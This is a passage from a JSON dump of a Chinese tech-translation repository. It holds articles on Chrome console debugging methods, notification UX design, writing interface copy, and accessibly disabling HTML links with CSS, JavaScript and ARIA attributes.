},\n];\nconsole.table(fruits);\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*qe69gSjpDllYrGvY.)\n\n它非常棒。第一，你可以将所有东西都整齐地放在表格中；第二，你也会得到 `console.log` 的结果。它在 Chrome 中可以正常工作，但是不保证兼容所有浏览器。\n\n```\nvar fruits = [\n  { name: 'apple', like: true },\n  { name: 'pear', like: true },\n  { name: 'plum', like: false },\n];\nconsole.table(fruits, ['name'])\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*Fv8KsLDQIPY8yfJN.)\n\n我们可以决定是完全展示数据内容还是只展示整个对象的某几列。这个表格是可排序的 —— 点击需要排序的列的表头，即可按此列对表格进行排序。\n\n#### console.group() / console.groupEnd();\n\n这次让我们直接从代码开始介绍。运行下面的代码看看控制台是如何进行分组的。\n\n```\nconsole.log('iteration');\nfor(var firstLevel = 0; firstLevel<2; firstLevel++){\n  console.group('First level: ', firstLevel);\n  for(var secondLevel = 0; secondLevel<2; secondLevel++){\n\tconsole.group('Second level: ', secondLevel);\n\tfor(var thirdLevel = 0; thirdLevel<2; thirdLevel++){\n  \tconsole.log('This is third level number: ', thirdLevel);\n\t}\n\tconsole.groupEnd();\n  }\n  console.groupEnd();\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*X3vtX9amAT_Or_DO.)\n\n它可以帮助你更好的处理数据。\n\n#### console.trace();\n\nconsole.trace 会将调用栈打印在控制台中。如果你正在构建库或框架时，它给出的信息将十分有用。\n\n```\nfunction func1() {\n  func2();\n}\nfunction func2() {\n  func3();\n}\nfunction func3() {\n  console.trace();\n}\nfunc1();\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*4JoZfbntg4bGr03y.)\n\n#### 对比 console.log 与 console.dir\n\n```\nconsole.log([1,2]);\nconsole.dir([1,2]);\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*SI2ge80spD1WY9yI.)\n\n它们的实现方式取决于浏览器。在最开始的时候，规范中建议 dir 要保持对对象的引用，而 log 不需要引用。（Log 会显示一个对象的副本）。但现在，如上图所示，log 也保持了对于对象的引用。它们展示对象的方式有所不同，但我们不再加以深究。不过 dir 在调试 HTML 对象的时候会非常有用。\n> 译注：console.dir 会详细打印一个对象的所有属性与方法。\n\n#### $_, $0 — $4\n\n`$_` 会返回最近执行表达式的值。\n`$0 — $4` — 分别作为近 5 此检查元素时对 HTML 元素的引用。\n\n![](https://cdn-images-1.medium.com/max/800/0*J1jrQOkNHzaDA_hu.)\n\n#### getEventListeners(object)\n\n返回指定 DOM 元素上注册的事件监听器。这儿还有一种更便捷的方法来设置事件监听，下次教程会介绍它。\n\n![](https://cdn-images-1.medium.com/max/800/0*JrWFBmu3UKYy-nFj.)\n\n### monitorEvents(DOMElement, [events]) / unmonitorEvents(DOMElement)\n\n在指定 DOM 元素上触发任何事件时，都可以在控制台中看到相关信息。直到取消对相应元素的监视。\n\n![](https://cdn-images-1.medium.com/max/800/0*PJTUIgivpcMGnrRP.)\n\n### 在控制台中选择元素\n\n![](https://cdn-images-1.medium.com/max/800/0*Dr5KRB77jQrjjdA4.)\n\n在 Element 标签中按 ESC 键展开这个界面。\n\n在 `$` 没有另做它用的情况下：\n\n`$()` — 相当于 `**document.querySelector()**`。它会返回匹配 CSS 选择器的第一个元素（例如 `$('span')` 会返回第一个 span）\n`$$()` — 相当于 `**document.querySelectorAll()**`。它会以数组的形式返回所有匹配 CSS 选择器的元素。\n\n#### 复制打印的数据\n\n有时，当你处理数据时可能会想打个草稿，或者简单地看看两个对象是否有区别。全选之后再复制可能会很麻烦，在此介绍一种很方便的方法。\n\n在打印出的对象上点击右键，选择 copy（复制），或选择 Store as global element（将指定元素的引用存储在全局作用域中），然后你就可以在控制台中操作刚才存储的元素啦。\n\n控制台中的任何内容都可以通过使用 `copy('object-name')` 进行复制。\n\n#### 自定义控制台输出样式\n\n假设你正在开发一个库，或者在为公司、团队开发一个大模块。此时在开发模式下对一些日志进行高亮处理会很舒爽。你可以试试下面的代码：\n\n`console.log('%c Truly hackers code! ', 'background: #222; color: #bada55');`\n\n![](https://cdn-images-1.medium.com/max/800/0*RYIJp1JEZhZ7Nqm8.)\n\n`%d` 或 `%i` — 整型值\n`%f` — 浮点值\n`%o` — 可展开的 DOM 元素\n`%O` — 可展开的 JS 对象\n`%c` — 使用 CSS 格式化输出\n\n以上就是本文的全部内容，但并不是 Console 这个话题的全部内容。你可以点击以下链接了解更多有关知识：\n\n*   [Command Line API Reference](https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference) by Google\n*   [Console API](https://developer.mozilla.org/en-US/docs/Web/API/Console) by MDN\n*   [Console API](http://2ality.com/2013/10/console-api.html) by 2ality\n*   [CSS Selectors](https://developer.mozilla.org/pl/docs/Web/CSS/CSS_Selectors)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-design-notifications-for-better-ux.md",
    "content": "\n> * 原文地址：[How To Design Notifications For Better UX](https://uxplanet.org/how-to-design-notifications-for-better-ux-6fb0711be54d)\n> * 原文作者：[CanvasFlip](https://uxplanet.org/@CanvasFlip?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-design-notifications-for-better-ux.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-design-notifications-for-better-ux.md)\n> * 译者：\n> * 校对者：\n\n# How To Design Notifications For Better UX: Notifications are double-edged swords. Getting it right is the key to success.\n\nNotifications evoke mixed reactions from users. Many a times they find it useful. Many a times they are annoyed by it. But notifications serve a purpose. They are powerful tools to inform users of app crashes, introduce them to new features & updates, and inform them about new messages and mails from friends. From marketing perspective, they help connect with users who have abandoned apps and promote engagement.\n\nNotifications are anti UX. They are a distraction. So how to design your notification so that it becomes purposeful and useful?\n\nBut before that let’s understand notifications in detail.\n\n![Typical interface for notifications](https://cdn-images-1.medium.com/max/800/0*xnVVI5oOkzjKLud_.)\n\n**What are notifications?**\n\nWe go by the simple definition. Notification is an act of bringing something to the notice of the user. Notification is a way for an app to notify you or send you a message that you can read without having to open the app.\n\nA very simple example of a notification is an email alert. You get a flash message on your smartphone screen when you receive an email. You wish to open the app directly from the main screen itself. You can also dismiss the notification by sliding it across. However, the main purpose of the notification is to announce the arrival of the email. Under normal circumstances, you have to open the email to check out your mails. The notification enables you to get a gist of the matter without having to open the mailing application.\n\n## Types of notifications:\n\n* **User generated notifications:**\n\n![](https://cdn-images-1.medium.com/max/800/0*6YIy8q9IC5qmJqMp.)\n\nThis is the most common and engaging types of notification. Mobile messaging is the simplest example of this type of notification. It is directed specifically at a particular user. Other simple examples of these notifications are the posts, likes, and comments you pass on social media.\n\n* **Context generated notifications:**\n\nThis is also a fast growing type of notification where the application generated a notification based on permission of its users. The location based notifications are the best examples. Sports and meeting updates are also very common in this category.\n\n![](https://cdn-images-1.medium.com/max/800/0*gXIdt622EuYhyyhO.)\n\nSource: Macrumors\n\n* **System generated notifications:**\n\n![](https://cdn-images-1.medium.com/max/800/0*7s568YpSLSUbzWo0.)\n\nSource: aboveandroid.com\n\nThese are notifications generated by the app based on the needs of the app. An example of such a notification is a security alert requesting for resetting of password.\n\n* **Push notifications:**\n\nIn fact, all kinds of notifications can come under the classification of push notifications for the simple reason that they are pushed through by the system.Push notifications are of two types. One that requires you to take immediate action and the second one is passive notification.\n\n* **Notifications requiring action from the user**\n\nThe very purpose of the notification is to induce the user to take immediate action. It can be an email alert, a notification to change the password, a notification offering a sale discount asking you to use a discount code, etc.\n\n![](https://cdn-images-1.medium.com/max/800/0*R9VMjbIYQk_Q65fH.)\n\nSource: material.io\n\n* **Passive notification:**\n\nThese notifications provide information to the user. There is no need for the user to take any immediate action on it. A weather update could be one simple example of this type of notification.\n\n![](https://cdn-images-1.medium.com/max/800/0*XKN4mrMsm5TGC6mF.)\n\nSource:Androidcentral\n\n* **Smart notifications:**\n\n![](https://cdn-images-1.medium.com/max/800/0*wcAiMtTJR5HkHM85.)\n\nSource:Beebom\n\nThe smart notifications have the unique ability to be delivered to each app. You can set up triggers to sensitize the app when to release the notification. We have already stated earlier in the article that the timing of the notification is very important. The objective of pushing a notification is to ensure the user to take immediate action. This makes the timing very important. The system can sense when the interaction level can be at the maximum. This will deliver a positive experience to the user.\n\nSecondly, you can track the smart notifications and analyze the results. This enables the system to improvise on the quality of the notifications. This can determine the success rate of the notification campaign.\n\n**What makes a good notification?**\n\n* **Non-interfering:** A notification is a timely alert. However, it can distract the user. Hence, the main characteristic of a notification is that it should be non-interfering. It should achieve the purpose of letting the user know that something important is on the way.\n* **Small in size**: A good notification should be as small as possible but effective at the same time. An example of a simple unobtrusive notification is the calendar notification that usually slides at the top of your mobile screen. They are small in size but they serve the purpose well.\n* **Contextual**: A location based push notification is contextual. They can alert you in case you are in the vicinity of the particular retail store. This feature works depending on the shopping and wish lists you create on the online shopping websites.\n* **Serve warnings**: A good notification should act as a confirmation message, especially when you delete apps or important messages. It can serve a timely warning to the user that you are about to delete something permanently from your mobile phone.\n\n**When not to use a notification?**\n\n![](https://cdn-images-1.medium.com/max/800/0*A6wknVNblmK4X7pC.)\n\n**Source: kissmetrics**\n\nNotifications should not be used at every instance, as frequent interruptions may cause annoyance. Its best not to use notification when:\n\n* A user has never opened your app\n* There is no value to bring to a user, such as “Haven’t seen you in a while”\n* Requests to review or rate an app\n* Operations that don’t require user involvement, like syncing information\n* Error states from which the app may recover without user interaction\n\n**How to design a notification?**\n\nThe good news is that you can design meaningful notifications without compromising the user experience. Here are a few tips on designing notifications-\n\n* **Design considering the importance of your message:** Choose different designs for different types of massive. For passive notifications, choose a lighter design while an action-required notification, design to attract user’s notification. Pick right colors, say a red for immediate action. Use relevant icons.\n\n![](https://cdn-images-1.medium.com/max/800/0*mYoibne9sgQ-AFHX.)\n\nSource: Designdeck\n\n* **Provide enough information:** The purpose behind a notification is to inform about an event and encourage him to take action. But, for that, he need enough information. So make sure that your notification has enough information to help him understand the purpose of notification and what needs to be done.\n\n![](https://cdn-images-1.medium.com/max/800/0*SesUf_hDZ37fiaY1.)\n\nSource: easycodeway.com\n\n* **Give user the control:** UX accentuates when users feel that they are in control. They has the choice of switching off notifications. Go beyond that and give them choices in- types of notification they want to receive, when they want to receive and the frequency of notification.\n\n![](https://cdn-images-1.medium.com/max/800/0*R755XUbOHY0AVRGp.)\n\nSource: Gadgetguideonline.com\n\n* **Handle multiple notifications smartly:** To handle multiple notifications of the same type, create one notification that summarizes them all. For example, a messaging app might have a summary notification that says “3 new messages.” Upon expansion, it could show a snippet for each message. This lets the user know about the time it would take to deal with the notification.\n\n![](https://cdn-images-1.medium.com/freeze/max/30/0*6SLxnj4cU4nS6GMe.?q=20)\n\n![](https://cdn-images-1.medium.com/max/800/0*6SLxnj4cU4nS6GMe.)\n\nSource:material.io\n\n* **Embrace A/B testing:** The best way to get your design right is to put it to rigorous testing. Try out different designs and test them. See which design is making the user take the desired action. And what’s not working.\n\n![](https://cdn-images-1.medium.com/max/800/0*favEgcGEH9ylDLrP.)\n\n**Final Thoughts:**\n\nNotifications are double-edged swords. They can promote engagement but can also result in user annoyance. So getting it right is important for your overall experience?\n\nHow do you manage your notifications? What are your rules for designing good notifications? Share your thoughts in the comments section. Also, if you find my article interesting, please share it with your friends.\n\n![](https://cdn-images-1.medium.com/max/800/1*VdnKzKfQQINWkLUUxE6IMw.png)\n\nValidate your designs FREE with real users at [http://canvasflip.com](http://canvasflip.com)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-design-words.md",
    "content": "> * 原文地址：[How to design words](https://medium.com/@jsaito/how-to-design-words-63d6965051e9?ref=uxdesignweekly#.97vnoptue)\n* 原文作者：[John Saito](https://medium.com/@jsaito)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[cbangchen](https://github.com/cbangchen), [funtrip](https://github.com/funtrip)\n\n# 如何给你的产品写文案？\n\n严格来说，我是一名文字工作者，我靠文字赚钱。但我有一件事大部分人都不知道：**我讨厌阅读。**\n\n别理解错了我的意思，我现在依旧保持着阅读的习惯。我会定期浏览书籍、博客、新闻以及杂志。但当作者们把文章写得越来越拖拉，我就不知道我的眼睛到底在看哪里，脑子也越来越迟钝。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/06ace735d89bb435285d.png)\n\n\n\n这样的文章就像一面文字堆砌成的墙。\n\n\n\n\n\n当我还小的时候，我总认为对于阅读的反感是我自身的一个缺点。但直到近几年我才意识到，这个弱点帮助我成为了一个更好的文字工作者。\n\n正如你们所知，我常常为应用和网站中的界面写文案。这是需要字字斟酌的。为界面写文案也是一种设计——为那些讨厌阅读的人群而设计。\n\n### 用户根本不会仔细阅读界面上的文字\n\n大量的研究表明[用户不会仔细阅读网页上的文字](https://www.nngroup.com/articles/how-users-read-on-the-web/)。这道理同样适用于手机应用、游戏以及其他交互界面上。大部分用户习惯于粗略地浏览并且摘取只言片语的信息。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/deedc22b6dceb7ef80e7.png)\n\n\n\n你一定会感到惊讶，因为相当多的用户都会选择直接点击“下一步”的按钮。\n\n\n\n\n\n是因为人们的懒惰？心不在焉？还是他们真的讨厌阅读？无论你同意哪一个观点，结果都是一样的。那就是用户不会阅读界面上大部分的文字，无论文字多么的优美。\n\n因为这个原因，你不能在界面上简单地堆砌文字。在编写文案的时候，你可能会发现原有的设计方案需要进行调整。如果你无法用简单的语言概况一个行为，那么这就表明你的设计过于复杂。\n\n换句话说：设计的时候不应该使用无意义的占位符，而是换用真实的文案。\n\n### 7个文案设计的小贴士\n\n作为界面文案编写者，我学到了一些能让你的文案变得更易于阅读的方法。希望这些心得能帮助你更好地设计界面的文案。\n\n#### 1\\. 精简用语\n\n要帮助用户阅读，最重要的事就是要精简你的用词。当你写完你的草稿后，你应该一遍遍地精简它。删去不必要的细节，使用更简洁的词语，直击要点。记住要狠点儿。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/2adb4fe22ae668ce6851.png)\n\n\n\n你的文字越精悍，那它就越可能被用户阅读。\n\n\n\n作为一个文字工作者，我深知发散的想法和丰富的辞藻对作家的诱惑力，但是在为界面设计文案的时候这并不是个正确的方向。这也是 Medium 兴起的重要原因。😀\n\n#### 2\\. 加上标题\n\n有时候，你可能无法再精简你的文字了。这时候，你可以试着增加一个具有概括性的简短标题，并使用一些用户可能会关心的关键词。当他们需要进一步了解的时候就会深入阅读了。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/75704742caabeb14b259.png)\n\n\n\n标题会让你的内容更有可读性。\n\n\n\n#### 3\\. 分点论述\n\n\n当我读完这篇文章[我们的视线趋向于从上至下地浏览](http://www.eyegaze.com/eye-tracking-study-reveals-how-users-scan-google-search-results/)之后得出了一个结论，那就是以分点论述为形式的段落更易于阅读。\n\n当你在一个段落中大量地使用“和”、“或者”的时候，可以试试分点论述的方法。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/a00f1f6bee031fee0dbf.png)\n\n\n\n我爱分点论述。\n\n\n\n#### 4\\. 让读者歇会儿\n\n许多产品，比如 Medium，本身就很注重内容的呈现，这是没有问题的。但是有时候文字一大段接着一大段连续的出现，会对阅读造成较大的困难。\n\n当我需要写下大段文字的时候，我会试着使用许多**缓解阅读疲劳的元素**比如破折号、图片、标题、例子等，以及其他可以打破文字墙的元素。这可以为读者提供一个休息的间隙。而且这也为读者提供了思考的时间，同样如果他们愿意也可以选择跳过并继续阅读。\n\n例如，在我的 Medium 博文中，我会让段落之间以分割线来进行区分，尽可能多地撒上缓解阅读疲劳的调味品。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/b3e63b2ca666741b7361.png)\n\n\n\n撒上一些缓解阅读疲劳的调味品吧。\n\n\n\n#### 5\\. 优化你的文字\n\n很多作家都会把关注点放在挑选合适的词语。使用合适的词语固然重要，但是我认为词语正确的**展示**也是同样重要。\n\n当你在设计文案的时候，应该考虑如何强调界面上最为重要的文字，然后如何弱化那些非重点的文字或其他元素。在设计当中，这也被称为**视觉层次**。\n\n时刻考虑字重、字号、字体颜色、对比度、字体类型、是否大小写、间距、空间感，对齐方式以及韵律等，所有的这些都会对读者的阅读造成或多或少的影响。仔细调整每一个特性直到找到最平衡的状态。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/df8b234689949f4c6081.png)\n\n\n\n哪一个更易于阅读？\n\n\n\n#### 6\\. 慢慢地展示\n\n当你试着教会用户如何使用某个功能时，你很可能会把所有信息都一股脑地堆在界面上，并且祈祷用户能够读懂并理解。但事实上，如果你的文字超过了两三行，很多用户可能不会去读它。那么你该怎么办？\n\n有时候你可以每次只给用户展现一小部分的信息。这个方法的学名叫做**渐进式揭露**，但是我却偏向称之为**慢慢展示**。（这听起来更有意思不是吗？）试着把你的信息拆分成许多小块儿，并且一点点地进行展示。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/e9411a7afc982098d6ce.png)\n\n\n\n字数太多了？试着拆分开来一点点展示。\n\n\n\n另一件事就是你可以删去界面上大部分细节信息的文字，并且加上一个跳转至帮助中心的链接。许多产品都会使用“查看更多”的链接，点击后跳转到帮助中心页，那里包含产品的所有细节信息。\n\n#### 7\\. 写在原型界面上，而不是文档中\n\n你是否有遇到过这种情况，有些文案写在文档上看起来很好，但当放在界面上却发现字数太长而得重新再写？当你在使用谷歌文档、Dropbox Pape 或者其他写作软件来编写文案的时候这种情况会经常发生。\n\n当你为界面编写文案的时候，了解界面实际的情况是至关重要的。你需要知道你写出的文案与界面上其他的元素是否和谐。\n\n这就是为什么我更偏向于在 Sketch 的原型上写文案而不是在文档上。我发现在原型上也可以帮助我更好地写出合适的文案，因为我可以实时地看到我的文案在实际界面上是如何呈现的。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/2e76414369925ab034ab.png)\n\n\n\n\n\n### 最后的话\n\n世上的文字承载着信息。它们帮助我们了解周围的世界。但是可惜的是，大部分的人都不喜欢阅读。如果你跟我一样是一位文字工作者，我们的共同目标应该是让阅读变得尽可能的简单。帮助人们更好地了解并感受这个世界。\n\n以上的观点只是我在设计文案时总结的一点心得。你是否有自己的观点？如果有请把你的想法和故事写在下面的评论栏里吧。\n\n感谢文字的力量，以此献给那些讨厌阅读的你。\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n**大爱❤** [_Brandon Land_](https://medium.com/u/496222766919) **所提供的撒调味料的插画**\n\n\n\n\n"
  },
  {
    "path": "TODO/how-to-disable-links.md",
    "content": "> * 原文地址：[How to Disable Links](https://css-tricks.com/how-to-disable-links/?utm_source=frontendfocus&utm_medium=email)\n> * 原文作者：[GERARD COHEN](https://css-tricks.com/author/gerardkcohen/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-disable-links.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-disable-links.md)\n> * 译者：[Usey95](https://github.com/usey95)\n> * 校对者：[athena0304](https://github.com/athena0304) [LeopPro](https://github.com/LeopPro)\n\n# 禁用连接：从入门到放弃\n\n有一天，我在工作中产生了关于如何禁用链接的思考。不知为何，去年我无意添加了一个「disabled」锚点样式。但有一个问题：你无法在 HTML 中真正禁用 `<a>` 链接（拥有合法 `href` 属性）。更何况，你为什么要禁用它呢？链接是 Web 的基础。\n\n某种意义上，我的同事看起来并不打算接受这个事实，所以我开始思考如何真正实现它。我知道这将付出很多努力，所以我想证明为了这种非传统的交互并不值得付出努力和代码。但我担心一旦被证明这是可以实现的，他们将无视我的警告继续做类似的尝试。这还没有动摇我，不过我觉得我们可以开始看我的研究了。\n\n第一：\n\n### 不要这样做。\n\n一个被禁用的链接不能称作一个链接，它只是一段文本。如果需要禁用一个链接的话，你需要重新思考你的设计。\n\nBootstrap 有一个为锚点标签添加 `.disabled` 类的例子，我很讨厌这点。虽然他们至少提及了这个类只提供了一个禁用 **样式**，但这仍然是一种误导。如果你真的想禁用一个链接，你需要做更多的工作而不是只是让它 **看起来** 被禁用了。\n\n### 万无一失的办法：移除 href 属性\n\n如果你决定无视我的警告尝试禁用一个链接，那么 **移除 `href` 属性是我所知的最好的办法**。\n\n官方解释 [Hyperlink spec](https://www.w3.org/TR/html5/links.html#attr-hyperlink-href)：\n\n> `a` 和 `area` 元素的 `href` 属性不是必要的；当这些元素没有 `href` 属性时，它们将不会解释成超链接。\n\n一个更易理解的定义 [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)：\n\n> 这个属性可以被忽略（从 HTML5 开始支持）以创建一个占位符链接。占位符链接类似传统的超链接，但它不会跳转到任何地方。\n\n下面是用来设置和移除 `href` 属性的基本 JavaScript 代码：\n\n```\n/* \n * 用你习惯的方式选择一个链接\n *\n * document.getElementById('MyLink');\n * document.querySelector('.link-class');\n * document.querySelector('[href=\"https://unfetteredthoughts.net\"]');\n */\n// 通过移除 href 属性来「禁用」一个链接。\nlink.href = '';\n// 通过设置 href 属性启用链接\nlink.href = 'https://unfetteredthoughts.net';\n```\n\n为这些链接设置 CSS 样式同样非常简单：\n\n```\na {\n  /* 已禁用的链接样式 */\n}\na:link, a:visited { /* or a[href] */\n  /* 可访问的链接样式 */\n}\n```\n\n**这就是你所要做的全部！**\n\n### 这是不够的，我想要更复杂的东西让我看起来更聪明！\n\n如果你不得不为了某些极端情况过度设计，这里有些事情需要考虑。希望你注意并且意识到我将为你展示的东西并不值得为之努力。\n\n首先，我们需要为链接添加样式，让它看起来被禁用了。\n\n```\n.isDisabled {\n  color: currentColor;\n  cursor: not-allowed;\n  opacity: 0.5;\n  text-decoration: none;\n}\n```\n\n```\n<a class=\"isDisabled\" href=\"https://unfetteredthoughts.net\">Disabled Link</a>\n```\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/11/disabled-link.gif)\n\n把 `color` 设置成 `currentColor` 将把字体颜色重置为普通的非链接文本的颜色。同时把鼠标悬停设置为 `not-allowed`，这样鼠标悬停时就会显示禁用的标识。我们遗漏掉了那些不使用鼠标的用户，他们主要使用触摸和键盘，所以并不会得到这个指示。接下来，将透明度减至 0.5。根据 [WCAG](https://www.w3.org/WAI/WCAG20/quickref/#visual-audio-contrast-contrast)，禁用的元素不需要满足颜色对比指南。我认为这是很危险的，因为这基本上是纯文本，减少透明度至 0.5 将使视弱用户难以阅读，这是我讨厌禁用链接的另一个原因。最后，文本的下划线被移除了，因为它通常是一个链接的最佳标识。现在，这 **看起来** 是一个被禁用的链接了！\n\n但它并没有被真正禁用！用户仍然可以点击、触摸这个链接。我听到你在尖叫 `pointer-events`。\n\n```\n.isDisabled {\n  ...\n  pointer-events: none;\n}\n```\n\n现在，我们完成了所有工作！禁用一个链接已经大功告成！虽然这只是对鼠标用户和触屏用户 **真正地** 禁用了链接。那么对于不支持 `pointer-events` 的浏览器怎么办呢？根据 [caniuse](https://caniuse.com/#feat=pointer-events)，Opera Mini 以及 IE 11 以下版本都不支持这个属性。IE 11 以及 Edge 实际上也不支持 `pointer-events`，除非 `display` 设置成 `block` 或者 `inline-block`。而且，将 `pointer-events` 设置成 `none` 将覆盖我们 `not-allowed` 的指针样式，所以现在鼠标用户将不会得到这个额外的视觉指示，表明链接被禁用。这已经开始崩溃了。现在我们不得不更改我们的标记和 CSS。\n\n```\n.isDisabled {\n  cursor: not-allowed;\n  opacity: 0.5;\n}\n.isDisabled > a {\n  color: currentColor;\n  display: inline-block;  /* 为了 IE11/ MS Edge 的 bug */\n  pointer-events: none;\n  text-decoration: none;\n}\n```\n\n```\n<span class=\"isDisabled\"><a href=\"https://unfetteredthoughts.net\">Disabled Link</a></span>\n```\n\n将一个链接包裹在 `<span>` 标签中并添加 `isDisabled` 类给了我们一半禁用视觉样式。一个很好的效果是这个 `isDisabled` 类是通用的，可以用在其他元素上，例如按钮和表单元素。实际的锚点标签现在有设置为 `none` 的 `pointer-events` 和 `text-decoration` 属性。\n\n那么键盘用户呢？键盘用户会使用回车键激活链接。`pointer-events` 只用于光标，没有键盘事件。我们还需要防止不支持 `pointer-events` 的旧浏览器激活链接，现在我们将介绍一些 JavaScript。\n\n### 引入 JavaScript\n\n```\n// 在用常用方法获取链接之后\nlink.addEventListener('click', function (event) {\n  if (this.parentElement.classList.contains('isDisabled')) {\n    event.preventDefault();\n  }\n});\n```\n\n现在我们的链接 **看起来** 被禁用了而且不会响应点击、触摸以及回车键。但是我们还没完成！屏幕阅读器用户无法知道这个链接已经被禁用了。我们需要将这个链接描述为被禁用。`disabled` 属性在链接上不合法，但我们可以使用 `aria-disabled=\"true\"`。\n\n```\n<span class=\"isDisabled\"><a href=\"https://unfetteredthoughts.net\" aria-disabled=\"true\">Disabled Link</a></span>\n```\n\n现在我将利用这个机会根据 `aria-disabled` 属性设置链接样式。我喜欢使用 ARIA 属性作为 CSS 的钩子，因为拥有不正确的样式的元素可以表现出重要的可访问缺失。\n\n```\n.isDisabled {\n  cursor: not-allowed;\n  opacity: 0.5;\n}\na[aria-disabled=\"true\"] {\n  color: currentColor;\n  display: inline-block;  /* 为了 IE11/ MS Edge 的 bug */\n  pointer-events: none;\n  text-decoration: none;\n}\n```\n\n现在我们的链接 **看起来** 被禁用, **表现起来** 被禁用, 而且被 **描述** 成被禁用.\n\n不幸的是，即便链接被描述成被禁用，一些屏幕阅读器（JAWS）仍将宣称这些链接是可点击的。任何一个有点击事件监听器的元素都是这样。这是因为开发者倾向于将非交互元素如 `div` 和 `span` 添加事件监听器从而当做伪交互元素使用。对此我们无能为力。我们为了去除一个链接的所有特征所做的努力都被我们想要愚弄的辅助技术所挫败，讽刺的是，我们之前就想骗过它了。\n\n不过，如果我们将监听器移动到 body 呢？\n\n```\ndocument.body.addEventListener('click', function (event) {\n  // 过滤掉其他元素的点击事件\n  if (event.target.nodeName == 'A' && event.target.getAttribute('aria-disabled') == 'true') {\n    event.preventDefault();\n  }\n});\n```\n\n我们完成了吗？其实并没有。有的时候我们需要启用这些链接，所以我们需要添加额外的代码来切换这些状态或行为。\n\n```\nfunction disableLink(link) {\n// 1\\. 为父级 span 添加 isDisabled　类\n  link.parentElement.classList.add('isDisabled');\n// 2\\. 保存 href 以便以后添加\n  link.setAttribute('data-href', link.href);\n// 3\\. 移除 href\n  link.href = '';\n// 4\\. 设置 aria-disabled 为 'true'\n  link.setAttribute('aria-disabled', 'true');\n}\nfunction enableLink(link) {\n// 1\\. 将父级 span 的 'isDisabled' 类移除\n  link.parentElement.classList.remove('isDisabled');\n// 2\\. 设置 href\n  link.href = link.getAttribute('data-href');\n// 3\\. 移除 'aria-disabled' 属性，比将其设为 false 更好\n  link.removeAttribute('aria-disabled');\n}\n```\n\n就是这样。我们现在从视觉上、功能上以及语义上为所有的用户禁用了链接。它只用了 10 行 CSS，15 行 JavaScript（包括 body 上的一个监听器）以及 2 个 HTML 元素。\n\n说真的，**不要做这样的尝试。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-to-do-proper-tree-shaking-in-webpack-2.md",
